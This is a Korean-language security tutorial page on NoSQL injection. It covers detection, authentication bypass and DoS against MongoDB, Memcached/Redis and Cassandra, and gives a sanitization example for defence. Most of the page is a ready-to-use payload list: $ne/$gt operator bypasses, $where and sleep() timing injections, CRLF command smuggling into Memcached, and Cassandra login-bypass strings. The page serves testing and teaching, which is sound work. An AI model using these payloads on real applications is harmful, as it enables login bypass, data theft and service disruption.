NoSQL Injection

Updated: 402 words 3 minutes

Introduction

NoSQL Injection은 SQL을 사용하는 것으로 알려진 DBMS를 제외한 나머지 Database에 대한 Injection 공격입니다. 일반적으로 NoSQL 데이터베이스는 기존 SQL 데이터베이스보다 consistency check가 느슨합니다. NoSQL 데이터베이스는 relational constraints와 consistency check를 덜 요구하기 때문에 성능이나 확장에서의 이점이 큽지만 SQL 문법이 아닌 각각의 시스템의 쿼리 문법 등에 대한 Injection 공격은 동일하게 영향을 받습니다.

NoSQL: Not only SQL, Non-Relational Operational Database

그래서 대상이 굉장히 많은데, MongoDB 같은 Document Store 부터 Hadoop, Cassandra 등 Wide Column Store 그리고 Redis 같은 Key Value / Tuple Store 까지 많은 시스템이 대상이 됩니다. NoSQL 서비스의 리스트는 아래 링크에서 확인해주세요.

  • https://hostingdata.co.uk/nosql-database/

Offensive techniques

Detect

확인할 수 있는 방법은 SQL Injection과 동일합니다. NoSQL에서 사용하는 문법이나 키워드 등을 이용하여 백엔드에 어떤 NoSQL이 연동되어 있는지 추측하고, 이를 기반으로 개발자가 의도한 쿼리를 벗어나도록 공격 구문을 만들어 수행할 수 있습니다.

Boolean-based

가장 대표적인 예시는 MongoDB에서 $ne(not equal), $gt(greater) 등을 이용하여 참/거짓을 유도하는 방법입니다. 만약 아래와 같은 로그인 요청이 있다고 가정한다면 이렇게 테스트해볼 수 있습니다.

POST /login HTTP/1.1

{"username": "userid", "password": "password"}
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}

위 케이스들을 풀어서보면 {"username": {"$ne": null}, "password": {"$ne": null}} 기준으론 username이 null이 아니거나, password가 null이 아닌 경우로 MongoDB로 전달되고, MongoDB는 데이터 내 두 조건을 만족하는지 체크하고 통과시키기 때문에 만족되어 로그인에 성공하게 됩니다.

Time-based

sleep() 구문같이 딜레이를 지원하는 NoSQL의 경우 이러한 구문을 이용하여 Response가 도착하는 시간을 계산하여 Blind로도 식별할 수 있습니다. 다만 이러한 방식은 RCE와 혼동이 될 수 있기 때문에 만약 Blind NoSQL Injection을 찾았다면 RCE나 다른 취약점의 여부를 같이 체크하는 것이 좋습니다.

GET /findUser?userName=abcd';%20sleep(4000)'

Exploitation

SQL Injection과 마찬가지로 공격을 통해 NoSQL 구문을 통제할 수 있습니다. NoSQL이 서비스에 사용되는 부분에 따라서 인증 우회나 중요정보 탈취, 캐시 데이터 탈취 등으로 이어질 수 있습니다.

Bypass Authentication

{
  "username": "admin",
  "password": {
    "$ne": "hitttt"
  }
}

DoS

Source

Db.collection.find({
    $where: function(){
        Return (this.name == $userInput)
        }
    }
);

Attack

'; sleep(4000)'

More

위에서 이야기드렸듯이 NoSQL이 연동된 구간에 따라서 영향력은 넓은 범위로 확장될 수 있습니다. 기본적으론 해당 NoSQL 시스템에 대한 CRUD(Creat/Read/Update/Delete), 그리고 시스템에서 제공하는 기능에 따라서 서비스에 문제를 만들거나 시스템 탈취까지 이어질 수 있습니다.

Payload of Targets

MongoDB

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
{"$gt": ""}
[$ne]=1
';sleep(5000);
';sleep(5000);'
';sleep(5000);+'
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);

Memcached/Redis

Set key

{
  "username": "admin\r\nset injected 0 3600 10\r\n123456789012345678901234567890\r\n",
  "password": "test"
}

Confused Key

{
  "username": {
    "admin",
    "super-admin"
  }
  "password": "test"
}

Cassandra

Bypass Login

{
  "username": "admin' ALLOW FILTERING; %00",
  "password": "test"
}
{
  "username": "admin'/*",
  "password": "*/and pass>"
}

Defensive techniques

SQL Injection과 동일하게 사용자로부터 전달받는 값은 신뢰하지 않아야합니다. 그래서 사용자 입력 값을 그대로 NoSQL에 처리하는 경우 sanitize나 nosql에 대한 protection 로직을 수행한 후 값을 넘겨줘야 합니다.

var sanitize = require('mongo-sanitize');
app.post('/user', function (req, res) {
    var query = {
        username: sanitize(req.body.username),
        password: sanitize(req.body.password)
    }
    db.collection('users').findOne(query, function (err, user) {
        console.log(user);
    });
});

Tools

Articles

  • https://www.hahwul.com/2016/01/12/web-hacking-nosql-injection-mongodb/

References

  • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection
  • https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection